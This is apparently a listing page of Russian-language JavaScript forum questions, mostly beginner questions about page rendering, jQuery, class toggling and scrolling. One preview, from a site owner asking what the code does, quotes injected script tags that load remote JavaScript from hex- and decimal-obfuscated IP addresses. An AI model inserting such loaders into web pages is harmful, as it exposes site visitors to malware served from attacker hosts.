JavaScript
A programming language that conforms to the ECMAScript specification
Explore Questions
There are no popular questions to show right now
-
0 votes1 answer
-
0 votes0 answers
-
0 votes0 answers
-
0 votes1 answer
-
0 votes0 answers
4,723 questions in this forum
-
По какой причине первая загрузка страницы может отличаться от следующих?
Вот страница, о которой речь. Когда я ее переделываю и обновляю в браузере, картинка с девочкой, с эблемой на груди отображается довольно нелепо, так словно скрипт, отвечающий за загрузку картинки думает, что высота последней = 0. Эмблема должна размещаться в центре подложки, то есть на груди у девочки, но она оказывается у нее над головой. Если еще раз обновить страницу, то эффект пропадает. Теоретически из-за чего такое может происходить?
0 votes3 answers -
Некий вредоносный код
Google Chrome ругается на сайт и говорит, что он содержит данные с другого сайта, содержащий вредоносный код. На самом сайте в конце главной страницы обнаружил следующий код: <script src=http://0x4d.0xf2.0x00.0x0c/ad.js></script></script> В шестнадцатеричном виде написан ip-сайта 77.242.0.12. Перейдя по ссылке и открыв файл с js-кодом увидел следующее: <script>document.write('<script src=http:\/\/5602672652\/.../><\/script>');</script> Оставим вопрос о том, что кто-то мог внедриться на сайт и внести в его страницы эту бяку. Интересует, чем этот код вреден и что плохого он может сделать?
0 votes3 answers -
Скрипт скролла изображений
Всем по привету! Нашёл в сети вот такой интересный скрипт склролла. Скрипт скопировал себе. Но справиться с задачей так и не смог. Задача: разместить на странице этот скрипт 2 раза. Проблема в том, что если разместить этот эффект скролла два раза, то скрипт работает только на одном. 2 дня убил на решении этой задачи. не пойму в чём конфликт. помогите люди добрые)
0 votes9 answers -
Проверка полей
Здравствуйте, уважаемые. Наверняка, такой вопрос проскакивал здесь не раз, так что заранее прошу прощения за надоевшие вопросы, просто не совсем понятно, как сформулировать запрос в поиске на данную тему. Итак, вопрос к знатокам: Подскажите пожалуйста, как сделать так, чтобы при вводе данных в поле (напр. Логин) существование оного в базе проверялось "на ходу" и, при совпадении под выпадала фраза "Такой имя уже занято". Заранее спасибо за ответы.
0 votes2 answers -
Координаты скроллбара
Хотел сначала написать в лягушатник, но потом передумал =) Вопрос вот в чём: Имеется див с горизонтальной полосой прокрутки. В нём список ссылок. Скажите, есть ли такая возможность, после клика по ссылке прокрутить скролл именно к этой ссылке, оставив его посередине? O_o P.S. Что бы не возникали вопросы "для чего?" - нужен скролл для листания переключателя страниц. Переключатель уже есть - нужен именно такой скролл. В инете искал готовые решения - не нашел. (Паджинатор 3000 не предлагать =). Если кто-нить видел или знает, как это реализовано - расскажите, плиз... Спасибо.
0 votes2 answers -
Произведение рандома
Не получается решить Задачу №3, условие в архиве. 6.html(здесь то что я сделал. http://www.sharemania.ru/0159243
0 votes5 answers -
Не работает скрипт в IE
Доброго времени суток. Решил календарик забодяжить, все вродь ничего, но вот ИЕ показал свои мохнатые уши.( Скрипт для часов и прокрутки месяцев работают, а вот заполнение таблицы календарика не происходит.. Насколько я понял, его чем-то неустраивает строка "k.innerHTML="";" в функции run_calendar_to. Заранее спасибо. С ув. я. http://www.beavers-net.narod.ru/clock_n_date.html var monthes=['фев','мар','апр','май','июн','июл','авг','сен','окт','ноя','дек','янв'], k, date, mon, today, year, param=0; function init_kalendar(){ k=document.getElementById('kalendar'); date=new Date(); mon=date.getMonth(); today=date.getDate(); year=date.getFullYear(); } functi…
0 votes4 answers -
Добавление в div класа
Добрый день. Есть подряд несколько дивов с одинаковыми класами. Задача на каждый второй добавить дополнительный клас reverse. Например: <div id="content"> <div class="object slider-with-block-3"></div> <div class="object slider-with-block-3"></div> <div class="object slider-with-block-3"></div> <div class="object slider-with-block-3"></div> <div class="object slider-with-block-3"></div> </div> Подскажите решение через Javascript
0 votes2 answers -
input type=button
Не могу понять как сделать что бы по нажатию на кнопку загружался архив. Пробывал через onClick не получается, брал кнопку в ссылку тоже тишина. Нужна помощь.
0 votes2 answers -
jQuery о событиях и их остановке
доброго времени суток. плохо разбираюсь в JS (точнее, не разбираюсь вовсе), что не мешает мне использовать jQuery возник вопрос о событиях. есть ссылка со свойствами блочного элемента и синим цветом фона при наведении курсора фон меняется на белый (использован плагин, однако метод анимации — родной для jQuery — .animate() ). при уходе курсора, цвет фона снова анимируется от белого к синему. вопрос в том, как фиксировать белый цвет в тех случаях, когда по ссылке сделан клик. ныне использую код: $("#main-menu li:not(.current) a").hover( function () {$(this).animate({ backgroundColor: "#FFFFFF"}, {queue: false, duration: 300});}, function () {$(this).animate({ backgroun…
0 votes0 answers -
Работа с файлами.
Возможна ли работа с клиентскими файлами и папками (создание и наполнение)? Я вычитал в интернете про оператор createFolder и про createTextFile с createFile. Это действительно возможно?
0 votes6 answers -
Расчет стоимости (сложение сумм)
Здравствуйте! Подскажите пожалуйста как сложить сумму чеков и скроллов вое дину, чтобы все суммировалось... То есть чтобы $('.option').val() прибавлялось к $("#total") (итог). Примеры есть, но мусолить их, это пустая трата времени, по этому делаю сам ... Пример: http://codepen.io/anon/pen/bdaKad
0 votes6 answers -
Отменить переход гиперлинка при клике
В тэге <a></a> у меня попадает объект с onclick. <a href="...."> <img ... onclick="alert('action')"> </a> Соответственно при клике на img я получаю алерт и перезод по гиперлинку. Как мне удавить этот переход?
0 votes6 answers -
Java script МаНуЛи
экзамен гг вп index.zip
0 votes0 answers -
Звук на странице по клику
Подскажите, пожалуйста, способы подключить кроссбраузерно (ну хотя бы ИЕ8+, но лучше ИЕ7+) проигрывание звука на странице (не фоном, а по клику, с возможностью остановить). Плеера готовые, или самой написать без разницы (все равно готовые буду потрошить и подгонять под то, что нужно на самом деле). Нашла пока только jsound 1.0.1, но он не работает в ИЕ8...
0 votes4 answers -
Принудительная загрузка картинок из кеша в ИЕ
Я сделал меню с применением JavaScript, код такой: Главная все бы ничего, да Осел начинает заново загружать картинки с сервера, при событиях с мышью. Как это отменить? Да и по чему он это делает, ведь я картинку не меняю, а только изменяю ее положение?
0 votes2 answers -
Как вставить массив на страницу
Здравствуйте! Понадобилось мне на "Юкозе" сделать сортировку информера по алфавиту. Пошел в сеть, нашел массив, приспособил: <script type="text/javascript"> var arr = [123, Вася, Коля]; function sIncrease(i, ii) { if (i > ii) return 1; else if (i < ii) return -1; else return 0; } arr.sort(sIncrease); </script> Вопрос: как вставить все это добро на страницу? Чтобы при загрузке на ней выводился списочек?
0 votes2 answers -
вопросы по draggable от jQuery
вот пример того что сделал: http://18923.jung.web5.ukraine.com.ua/test/test.htm код: <script type="text/javascript"> $(function(){ $("#rozetka").draggable({ cursor: "move", snap: '.ui-widget-header', snapMode: 'inner', snapTolerance: 40, helper: 'clone', }); }); </script> </head> <body> <div id="frame" class="ui-widget-header"> </div> <div id="rozetka" class="ui-rozetka"> </div> когда тяну rozetka на frame (оранжевый квадрат) - она цепляется к нему. подскажите, как бы сделать так, чтобы при перемещении розетки на квадрат, розетка оставалась на квадрате, а исходная розетка (которую тянул вначале) тоже была н…
0 votes1 answer -
className в ИЕ6 и 7 работает странно
Здравствуйте. На страничке есть такой код: <a href="#" class="pause" onclick="if (this.className == 'pause'){this.className = 'pauseActive';} else {this.className = 'pause';}; return false"></a> Соответсвенно к этой строке есть два класса pause и pauseActive. По клику должен меняться класс с pause на pauseActive, а при следующем обратно. Везде работает, кроме ИЕ6 и 7. В них почему-то происходит смена класса один раз с pause на pauseActive, а обратно уже нет. Посоветуйте, почему так происходит и что можно сделать при условии, что надо как-то обойтись без id ??
0 votes6 answers -
Удаление и добавление классов
Занимаюсь изучением javascript путем изобретения детских велосипедов. Решил написать функции, которые ищут, добавляют и удаляют классы у тэгов. Регулярные выражение пока не осилил, поэтому обходился циклами и массивами. Подскажите, как можно оптимизировать, сократить или ускорить этот код? http://jsfiddle.net/UZ3DQ/ window.onload = function(){ classRemove('добавитьКласс', 'найтиПоКлассу', 'найтиПоТэгу'); classAdd('удалитьКласс', 'найтиПоКлассу', 'найтиПоТэгу'); function classAdd(desiredClass, searchClass, searchTags) { var pointElements = searchElements(searchClass, searchTags); outer: for (var i = 0; i < pointElements.length; i…
0 votes2 answers -
Глобальная переменная
Подскажите, пожалуйста, достаточно ли вынести объявление переменной за все функции, чтобы она была глобыльной и была видна в любой функции для использования. У меня почему-то такая переменная после выполнения нескольких функций становтся "undefined". Помогите. Не пойму, где копать. Если нужен код - предоставлю... Спасибо.
0 votes3 answers -
Как выяснить/вытащить такое зуммирование картинки?
Есть такая страничка карточки товара Где взять такой скрипт, чтобы открывалось на весь экран с большим зумом, и можно было еще листать картинки. Попробовал сохранить страничку и методом тыка выяснить - но при открытии тут же пропадают фотки. начал смотреть код и гуглить ZoomGallery - но чето не нашел именно такой. Чтоб каждую детальку в одежде можно было посмотреть. Подскажите пожалуйста такой или похожий скрипт, кстати в мобильной версии все это в слайдер или еще как-то укомпоноваться должно как там. кстати нашел сайт где ооочень много всяких зумов. В т.ч. то что надо, все супер http://www.ajax-zoom.com/examples/example32_responsive_…
0 votes3 answers -
слайдер Почему срабатывает клик?
www.zebra-tara.ru на главной слайдер организован через owl carousel 2 Не понимаю, почему пролистывание мышкой влево - работает: если схватить за центр слайда и протянуть влево, а вправо - нет: выполняется переход по ссылке слайда
0 votes5 answers -
Как получать данные с сервера через интервалы времени?
Подскажите пожалуйста как в angular2 при помощи rxjs через каждые 5 секунд получать данные с сервера. Вот мой код, он работает, но есть проблема. компонент: import { Observable } from 'rxjs/Observable'; import 'rxjs/add/observable/interval'; import 'rxjs/add/operator/switchMap'; private getUserTasks(userId): void { Observable .interval(5000) .switchMap(() => this.tasksService.getUserTasks(userId)) .subscribe( data => { this.userTasks = JSON.parse(data); console.log('userTasks', this.userTasks); } ) }; сервис: import { Injectable } from '@angular/core'; impor…
0 votes0 answers -
насчет this
var calc = { show:function() { var a = +prompt('a',0); var b = +prompt('b',0); }, sum:function() { alert(this.a+this.; } }; calc.show(); calc.sum(); Вот объект, он не пашет, я уже скоко инфы перерыл но таки и не понял что именно выполняет this. Вездле пишут что он обращается к объекту из метода, но что значит к объекту? В объекте может быть сколько угодно свойств, значений, методов. И как вообще присвоить что именно тот мой this обращается к переменной??? Плз, объясните подробно.
0 votes10 answers